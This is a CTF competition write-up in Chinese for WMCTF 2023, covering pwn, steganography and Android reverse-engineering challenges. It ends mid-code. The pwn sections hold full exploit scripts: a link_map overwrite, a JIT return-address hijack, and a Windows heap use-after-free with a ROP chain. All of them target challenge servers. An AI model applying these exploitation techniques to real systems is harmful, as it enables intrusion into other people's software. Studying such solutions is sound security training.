WMCTF 2023 Writeup

admin 2024年9月29日00:34:15评论19 views字数 42977阅读143分15秒阅读模式

本次 WMCTF 2023,我们Polaris战队排名第9。

WMCTF 2023 Writeup
WMCTF 2023 Writeup

PWN

WMCTF 2023 Writeup

01

blindless

直接给了后门

int __cdecl backdoor(){  return system("cat /flag");}

executeBrainfuck 函数没有越界检查

可以向后越界。

int __cdecl executeBrainfuck(char *code){  _BYTE c[5]; // [rsp+13h] [rbp-5h]  c[4] = 0;  *(_DWORD *)c = (unsigned __int8)*code;  while ( *(int *)&c[1] <= 255 )  {    if ( c[0] == 0x71 )      return 0;    if ( c[0] <= 113 )    {      if ( c[0] == 0x40 )      {        data += *(unsigned int *)&code[*(int *)&c[1] + 1];        *(_DWORD *)&c[1] += 5;      }      else if ( c[0] <= 64 )      {        if ( c[0] == 0x3E )        {          ++data;          ++*(_DWORD *)&c[1];        }        else if ( c[0] <= 62 )        {          if ( c[0] == 43 )          {            data += 8;            ++*(_DWORD *)&c[1];          }          else if ( c[0] == 0x2E )          {            *data = code[*(int *)&c[1] + 1];            *(_DWORD *)&c[1] += 2;          }        }      }    }    c[0] = code[*(int *)&c[1]];  }  return 0;}

打dl的link_map改偏移到后门函数即可

利用脚本如下:

#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')while(True):    sh = remote('1.13.101.243', 28502)    sh.sendlineafter(b'sizen', str(0x60000).encode())    sh.sendlineafter(b'sizen', str(0x100).encode())    payload = b''    payload += p8(0x40) + p32(0x286180-0x2000) # address('ld')+0x2f190    payload += p8(0x2e) + p8(0xb1)    payload += p8(0x40) + p32(1) # address('ld')+0x2f191    payload += p8(0x2e) + p8(0x3c)    payload += p8(0x40) + p32(0x11f) # address('ld')+0x2f2b0    payload += p8(0x2e) + p8(0x98)    payload += p8(0x71)    sh.sendafter(b'coden', payload)    result = sh.recvrepeat(1)    if result:        print(result)        exit(0)    sh.close()

可以断在下面两个地址查看调用情况:

b *{address('ld')+0x11f3b}b *{address('ld')+0x11f84}
WMCTF 2023 Writeup

02

jit

题目会把我们输入的内容翻译成汇编代码

输入的每条代码长度为8字节

每条代码的信息布局如下:

p8(指令), p8(寄存器), p16(偏移), p32(立即数)

程序只做转译,不做保护,所以可以根据转译规则编写利用代码,转译规则部分在地址 0x5A50 处,进入执行体执行的指令在 0x2947。

对不同版本的libc进行测试,测出libc版本

然后使用one_gadget来劫持栈上的返回地址。

#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')sh = remote('1.13.101.243', 28474)Program = [    p8(0+4), p8(0), p16(0), p32(0xffab8069+0xbfa98), # add    eax,0xffab8069+0xbfa98    p8(0x5f+4), p8(10), p16(0x138), p32(0),          # mov    DWORD PTR [rbp+0x138],eax]sh.sendafter(b'Program: ', binascii.b2a_hex(flat(Program)) + b'n')Memory = [    0x62,]sh.sendafter(b'Memory: ', binascii.b2a_hex(flat(Memory)) + b'n')sh.interactive()
WMCTF 2023 Writeup

03

roguegate

地址 0x140008800 处有验证检查,该验证的加密函数在 sub_1400084E0,第一个参数是输出变量,第二个参数是输入变量。开始时会随机生成字符串并将生成的字符串用 sub_1400084E0 处理得到结果数据。随后用户输入,输入之后会使用用户输入的内容再次调用 sub_1400084E0 进行处理,得到待验证数据。要求两次处理的结果一致,也就是要用户输入第一次随机生成的字符串。

根据验证逻辑进行爆破:

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <time.h>size_t get_high_value_from_mul(size_t x, size_t y){    unsigned char value[sizeof(void *) * 4] = {0}, *ptr;    unsigned char x_c[sizeof(void *)] = {0};    unsigned char y_c[sizeof(void *)] = {0};    size_t temp1, temp2;    unsigned short temp3;    int i, j;    *(size_t*)x_c = x;    *(size_t*)y_c = y;    for(i = 0; i < sizeof(void *); i ++)    {        temp1 = x_c[i];        for(j = 0; j < sizeof(void *); j++)        {            temp2 = temp1 * y_c[j];            ptr = value + i + j;            do            {                temp3 = *(unsigned short*)ptr;                temp2 += temp3;                *(unsigned short*)ptr = temp2;                temp2 = temp2 >> 16;                ptr += 2;            }while(temp2);        }    }    return *(size_t*)(value + sizeof(void *));}int main(){    char table[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";    #define LENGTH 10    int i, j;     time_t now;    size_t v6, v7;    char output[0x10];    setbuf(stdout, NULL);    now = time(NULL);    for(i = - LENGTH; i < LENGTH; i++)    {        srand(now + i);        memset(output, 0, sizeof(output));        for(j = 0; j < 10; j ++)        {            v6 = rand();            v7 = get_high_value_from_mul(v6, 0x842108421084211);            output[j] = table[v6 - 62 * ((v7 + ((v6 - v7) >> 1)) >> 5)];        }        puts(output);    }    puts("end");    return 0;}

验证通过后就可以进入 

0x140007D90 主逻辑。

主逻辑是传统堆题

直接给了UAF和Heap overflow。

void main_heap(){    ...      case 2:        sub_140009DF0(std::cout, (__int64)"Enter User ID: ");        std::istream::operator>>(std::cin, &v34);        if ( v34 > 0x63 || qword_140013068[2 * (int)v34] != 0x1A1A1A1A1A1A1A1Ai64 )          goto LABEL_22;        v16 = (_BYTE *)qword_140013060[2 * (int)v34];        sub_140009DF0(std::cout, (__int64)"Enter New User Length: ");        std::istream::operator>>(std::cin, &v35);        memset(&v37, 0, sizeof(v37));        v17 = -1i64;        do          ++v17;        while ( v16[v17] );        char2string(&v37, v16, v17);        v18 = v37.length + 8; // Heap overflow        v19 = v35;        if ( v37.max_length >= 0x10ui64 )        {          buf = (void *)v37.buf;          if ( (unsigned __int64)(v37.max_length + 1) >= 0x1000 )          {            buf = *(void **)(v37.buf - 8);            if ( (unsigned __int64)(v37.buf - (_QWORD)buf - 8) > 0x1F )              invalid_parameter_noinfo_noreturn();          }          j_j_free(buf);        }        if ( v19 <= v18 )        {          sub_140009DF0(std::cout, (__int64)"Enter New User Name: ");          std::istream::read(std::cin, v16, v35);        }        break;      case 3:        sub_140009DF0(std::cout, (__int64)"Enter User ID: ");        std::istream::operator>>(std::cin, &v34);        if ( v34 <= 0x63 && qword_140013068[2 * (int)v34] == 0x1A1A1A1A1A1A1A1Ai64 )          HeapFree(hHeap, 1u, (LPVOID)qword_140013060[2 * (int)v34]); // UAF        elseLABEL_22:          sub_140009DF0(std::cout, (__int64)"Invalid user ID.n");        break;      case 4:      ...}

泄漏地址的部分在功能5. Into the forest!的内部,具体位置在 1400073D0 处。5. Into the forest!功能提供了一个迷宫游玩功能,当我们处在迷宫的指定位置处后,就能触发后门 1400072A0 从而执行到 1400073D0。触发的具体指令在 140007CE6 (call qword ptr [rax+10h])处。

函数1400073D0会直接给我们程序基地址,随后可以进行 unlink 攻击并获得任意读写权限。

劫持栈执行 WinExec 时

执行失败并返回 367 错误号

查阅文档后知道该错误是 ERROR_CHILD_PROCESS_BLOCKED 错误,

原因是题目调用了 

SeTokenIsNoChildProcessRestricted 

从而限制了子进程的创建。

所以该题需要使用传统的open|read|write来获取flag。

利用脚本:

#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='windows', log_level='info')sh = remote('192.168.223.172', 6666)keys = sh.recvuntil(b'end', drop=True).split(b'rn')sh.close()sh = remote('175.27.236.172', 6789)sh.recvuntil(b'Enter your answer: ')result = b''key_i = 0while( b'Congratulations' not in result ):    sh.sendline(keys[key_i])    result = sh.recvuntil(b'rn')    key_i += 1def add(index, content):    sh.sendlineafter(b'please enter : rn', b'1')    sh.sendlineafter(b'Enter User ID:', str(index).encode())    sh.sendlineafter(b'Enter User Name:', content)def edit(index, size, content):    sh.sendlineafter(b'please enter : rn', b'2')    sh.sendlineafter(b'Enter User ID:', str(index).encode())    sh.sendafter(b'Enter New User Length:', str(size).encode())    sh.sendline(content)def delete(index):    sh.sendlineafter(b'please enter : rn', b'3')    sh.sendlineafter(b'Enter User ID:', str(index).encode())def show(index):    sh.sendlineafter(b'please enter : rn', b'4')    sh.sendlineafter(b'Enter User ID:', str(index).encode())    sh.recvuntil(b'name is: ')add(0, b'a' * 0x17)add(1, b'a' * 0x17)add(2, b'a' * 0x17)add(3, b'a' * 0x17)add(4, b'a' * 0x17)add(5, b'a' * 0x17)delete(2)delete(4)sh.sendlineafter(b'please enter : rn', b'5')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')sh.sendlineafter(b'creature?', b'2')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')sh.sendlineafter(b'creature?', b'1')sh.sendlineafter(b'going ?(y/n)', b'y')sh.recvuntil(b'for gifts.rn')image_addr = int(sh.recvuntil(b'rn', drop=True), 16)success('image_addr: ' + hex(image_addr))ucrtbase_addr = int(sh.recvuntil(b'rn', drop=True), 16)success('ucrtbase_addr: ' + hex(ucrtbase_addr))sh.sendlineafter(b'Enter New User ID: ', str(2).encode())sh.sendafter(b'Length: ', str(0x10).encode())sh.sendline(p64(image_addr + 0x13078) + p64(image_addr + 0x13080))sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')delete(1)edit(2, 8, p64(image_addr + 0x13060))edit(2, 8, p64(image_addr + 0x14170))show(0)heap_addr = u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0'))success('heap_addr: ' + hex(heap_addr))edit(2, 8, p64(heap_addr))show(0)heap_addr2 = u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0'))success('heap_addr2: ' + hex(heap_addr2))edit(2, 8, p64(image_addr+0xE010))show(0)kernel32_addr = u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0')) - 0x1010success('kernel32_addr: ' + hex(kernel32_addr))edit(2, 8, p64(kernel32_addr+0x79fa0))show(0)ntdll_addr = u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0')) - 0x178d0success('ntdll_addr: ' + hex(ntdll_addr))edit(2, 8, p64(image_addr + 0x13080))edit(0, 8, p64(image_addr + 0x13060-1))def write(addr, value):    sh.sendlineafter(b'please enter : rn', b'2')    sh.sendlineafter(b'Enter User ID:', str(2).encode())    sh.sendafter(b'Enter New User Length:', str(8).encode())    sh.sendline(b'0' + p64(addr)[:7])    sh.sendlineafter(b'please enter : rn', b'2')    sh.sendlineafter(b'Enter User ID:', str(0).encode())    sh.sendafter(b'Enter New User Length:', str(8).encode())    sh.sendline(p64(value))def read(addr):    sh.sendlineafter(b'please enter : rn', b'2')    sh.sendlineafter(b'Enter User ID:', str(2).encode())    sh.sendafter(b'Enter New User Length:', str(8).encode())    sh.sendline(b'0' + p64(addr)[:7])    sh.sendlineafter(b'please enter : rn', b'4')    sh.sendlineafter(b'Enter User ID:', str(0).encode())    sh.recvuntil(b'name is: ')    return u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0'))peb_addr = read(ntdll_addr + 0x166308) - 0x80success('peb_addr: ' + hex(peb_addr))teb_addr = peb_addr + 0x1000success('teb_addr: ' + hex(teb_addr))stack_top_addr = (read(teb_addr + 8+2) << 16) - 8success('stack_top_addr: ' + hex(stack_top_addr))stack_addr = stack_top_addrwhile(True):    tmp = read(stack_addr)    success( hex(stack_addr) + ': ' + hex(tmp))    if tmp == image_addr + 0x916B:        break    stack_addr -= 8success('offset: ' + hex(stack_top_addr - stack_addr))write(stack_addr, ntdll_addr+0x9227b) # pop rcx; retstack_addr += 8path = b"flag.txt"path_i = 0while(path):    tmp = path[:8].ljust(8, b'0')    write(stack_top_addr-0x38+path_i, u64(tmp))    path = path[8:]    path_i += 8write(stack_addr, stack_top_addr-0x38) # pathstack_addr += 8write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; retstack_addr += 8write(stack_addr, 0) # 1stack_addr += 8write(stack_addr, ntdll_addr + 0x106a) # retstack_addr += 8write(stack_addr, (ucrtbase_addr + 0xA28C0)) # openstack_addr += 8write(stack_addr, ntdll_addr+0x30e93) # add rsp, 0x48; ret; stack_addr += 0x50write(stack_addr, ntdll_addr+0x9227b) # pop rcx; retstack_addr += 8write(stack_addr, 3) # fdstack_addr += 8write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; retstack_addr += 8write(stack_addr, stack_top_addr-0x4000) # bufstack_addr += 8write(stack_addr, ntdll_addr + 0x643f3) # pop r8; retstack_addr += 8write(stack_addr, 0x100) # lenstack_addr += 8write(stack_addr, (ucrtbase_addr + 0x15990)) # readstack_addr += 8write(stack_addr, ntdll_addr+0x30e93) # add rsp, 0x48; ret; stack_addr += 0x50write(stack_addr, ntdll_addr+0x9227b) # pop rcx; retstack_addr += 8write(stack_addr, 1) # fdstack_addr += 8write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; retstack_addr += 8write(stack_addr, stack_top_addr-0x4000) # bufstack_addr += 8write(stack_addr, ntdll_addr + 0x643f3) # pop r8; retstack_addr += 8write(stack_addr, 0x100) # lenstack_addr += 8write(stack_addr, (ucrtbase_addr + 0x15310)) # readstack_addr += 8sh.sendlineafter(b'please enter : rn', b'6')sh.interactive()
WMCTF 2023 Writeup

STEG

WMCTF 2023 Writeup

01

StegLab1-PointAttack

Warm_UP

gpt写一个LSB

enc

class Solution:    def Encrypt(self, img, key):        img = Image.open(img)        img_array = np.array(img)        key_binary = ''.join(format(ord(c), '08b') for c in key)        key_len = len(key_binary)        height, width, _ = img_array.shape        max_pixels = height * width * 3        if key_len > max_pixels:            raise ValueError("Image size is not sufficient to hide the key.")        key_index = 0        for i in range(height):            for j in range(width):                for k in range(3):                    if key_index < key_len:                        img_array[i][j][k] = (img_array[i][j][k] & 0xFE) | int(key_binary[key_index])                        key_index += 1        encrypted_img = Image.fromarray(img_array)        return encrypted_img

dec

class Solution:    def Decrypt(self, img) -> str:        img = Image.open(img)        img_array = np.array(img)        height, width, _ = img_array.shape        key_binary = ""        key_index = 0        for i in range(height):            for j in range(width):                for k in range(3):                    key_bit = img_array[i][j][k] & 1                    key_binary += str(key_bit)                    key_index += 1                    if key_index >= 80:  # 假设密钥长度不超过80                        break                if key_index >= 80:                    break            if key_index >= 80:                break        key = ""        for i in range(0, len(key_binary), 8):            key += chr(int(key_binary[i:i+8], 2))        return key

得到

CongratulationsThis is Your flag: flag{test_flag}

Random_Point_Attack

经过热身题,熟悉了OJ,发现:

  • 与本地测试还是有不小的差距

  • OJ比较认np.array、Image.fromarray来进行数据的读写

读题知道有随机噪音的干扰,朴素的将数据重复三次,然后取出现次数最多的为正确数据即可实现解密

enc

class Solution:    def Encrypt(self, img, key):        img = Image.open(img)        img_array = np.array(img)        key = key + '@'        key_array = np.frombuffer(key.encode(), dtype=np.uint8)        for i in range(len(key_array)):            for j in range(3):                img_array[0, i, j] = key_array[i]        encrypted_img = Image.fromarray(img_array)        return encrypted_img

dec

class Solution:    def Decrypt(self,img)-> str:        img = Image.open(img)        img_array = np.array(img)        data = []        for i in range(10):            for j in range(3):                data.append(img_array[0, i, j])        data = [data[i*3:(i+1)*3] for i in range(len(data)//3)]        def get_num(list1):            num = 0            count = 0            for i in set(list1):                if list1.count(i) > count:                    num = i                    count = list1.count(i)            return num        key = bytes([get_num(i) for i in data]).split(b'@')[0].decode()        return key

This is Your flag: 

wmctf{35dba2e1-cbda-436f-ba82-ebf2e052a9d3}

WMCTF 2023 Writeup

02

EZ_V1dio

下载得到 avi 音频,尝试分离每一帧

import cv2import osif not os.path.exists('frames'):    os.makedirs('frames')video = cv2.VideoCapture('./flag.avi')frame_count = 0while True:    ret, frame = video.read()    if not ret:        break    filename = f'frames/frame_{frame_count}.jpg'    cv2.imwrite(filename, frame)    frame_count += 1video.release()

在第一帧的R0通道看到 W 字符

WMCTF 2023 Writeup

分离每一帧的R0通道

import cv2import osif not os.path.exists('R0'):    os.makedirs('R0')video = cv2.VideoCapture('./flag.avi')frame_count = 0while True:    ret, frame = video.read()    if not ret:        break    r_channel = frame[:, :, 2]  # OpenCV默认通道顺序为BGR,索引2为R通道    r_lowest_bit = r_channel & 1    r_lowest_bit <<= 7    filename = f'R0/frame_{frame_count}.jpg'    cv2.imwrite(filename, r_lowest_bit)    frame_count += 1video.release()
WMCTF 2023 Writeup

去除重复后得到 

WMCTF{5b658ab9-946c-3869-fc21-6ad99b3bc714}

WMCTF 2023 Writeup

RE

WMCTF 2023 Writeup

01

ezAndroid

安卓逆向

分别有两个naticve函数 

为checkusername 和 checkpassword

两个native函数在JNIload中动态注册的 

并且所有相关的字符串都是动态解密的 

所以静态分析看不到有用的信息 

同时在init函数组中有一个检测frida的操作

检测name是一个RC4加密

WMCTF 2023 Writeup

而checkpassword函数的是一个AES加密 

但是S盒在动态运行的时候发生了修改

WMCTF 2023 Writeup

分析完毕后逆向即可

#name cin = [ 0x6E, 0x61, 0x6D, 0x65, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36]out=[ 0xD5, 0x93, 0x56, 0xB2, 0x3C, 0x86, 0xEB, 0x94, 0xCD, 0x0C, ]enc=[ 0xE9, 0x97, 0x64, 0xE6, 0x7E, 0xEB, 0xBD, 0xC1, 0xAB, 0x43]for i,j,k in zip(cin,out,enc):    print(chr(i^j^k),end='')#Re_1s_eaSyfrom Crypto.Cipher import AESsbox=[    0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82,     0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2,     0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62,     0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2,     0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42,     0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2,     0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22,     0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92,     0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02,     0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72,     0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2,     0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52,     0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2,     0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32,     0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2,     0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12    ]key =b"Re_1s_eaSy123456"for i in key:    print(i,end=',')print()real = bytes.fromhex("2B C8 20 8B 5C 0D A7 9B 2A 51 3A D2 71 71 CA 50")for i in real:    print(i,end=',')print()def generate_inverse_s_box(s_box):    inverse_s_box = [0] * 256    for i in range(len(s_box)):        inverse_s_box[s_box[i]] = i    return inverse_s_boxiev = generate_inverse_s_box(sbox)print(iev)for i in iev:    print(hex(i),end=',')"_eZ_Rc4_@nd_AES!"

AES解密

#include<stdio.h>#include<string.h> #include<time.h>#include<windows.h> #define Nb 4   //数据块行数 #define Nk 4   //密码块行数 #define Nr 10  //轮加密次数 unsigned char RoundKey[4*Nb*(Nr+1)]; //轮密钥 unsigned char Key[17];     //密钥 unsigned char state[4][4];  //明文加密状态 //实际上只需要用Rocn[1-10] int Rcon[255] = {    0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,    0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,    0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,    0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,    0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,    0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,    0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,    0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,    0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,    0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,    0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,    0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,    0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,    0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,    0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,    0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb};//s盒 int SBOX[256] =   {    //0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F    0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82,     0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2,     0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62,     0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2,     0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42,     0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2,     0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22,     0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92,     0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02,     0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72,     0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2,     0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52,     0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2,     0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32,     0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2,     0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12};//逆s盒 int R_SBOX[256] ={     0x41,0xe8,0x8f,0x36,0xdd,0x84,0x2b,0xd2,0x79,0x20,0xc7,0x6e,0x15,0xbc,0x63,0xa,0xb1,0x58,0xff,0xa6,0x4d,0xf4,0x9b,0x42,0xe9,0x90,0x37,0xde,0x85,0x2c,0xd3,0x7a,0x21,0xc8,0x6f,0x16,0xbd,0x64,0xb,0xb2,0x59,0x0,0xa7,0x4e,0xf5,0x9c,0x43,0xea,0x91,0x38,0xdf,0x86,0x2d,0xd4,0x7b,0x22,0xc9,0x70,0x17,0xbe,0x65,0xc,0xb3,0x5a,0x1,0xa8,0x4f,0xf6,0x9d,0x44,0xeb,0x92,0x39,0xe0,0x87,0x2e,0xd5,0x7c,0x23,0xca,0x71,0x18,0xbf,0x66,0xd,0xb4,0x5b,0x2,0xa9,0x50,0xf7,0x9e,0x45,0xec,0x93,0x3a,0xe1,0x88,0x2f,0xd6,0x7d,0x24,0xcb,0x72,0x19,0xc0,0x67,0xe,0xb5,0x5c,0x3,0xaa,0x51,0xf8,0x9f,0x46,0xed,0x94,0x3b,0xe2,0x89,0x30,0xd7,0x7e,0x25,0xcc,0x73,0x1a,0xc1,0x68,0xf,0xb6,0x5d,0x4,0xab,0x52,0xf9,0xa0,0x47,0xee,0x95,0x3c,0xe3,0x8a,0x31,0xd8,0x7f,0x26,0xcd,0x74,0x1b,0xc2,0x69,0x10,0xb7,0x5e,0x5,0xac,0x53,0xfa,0xa1,0x48,0xef,0x96,0x3d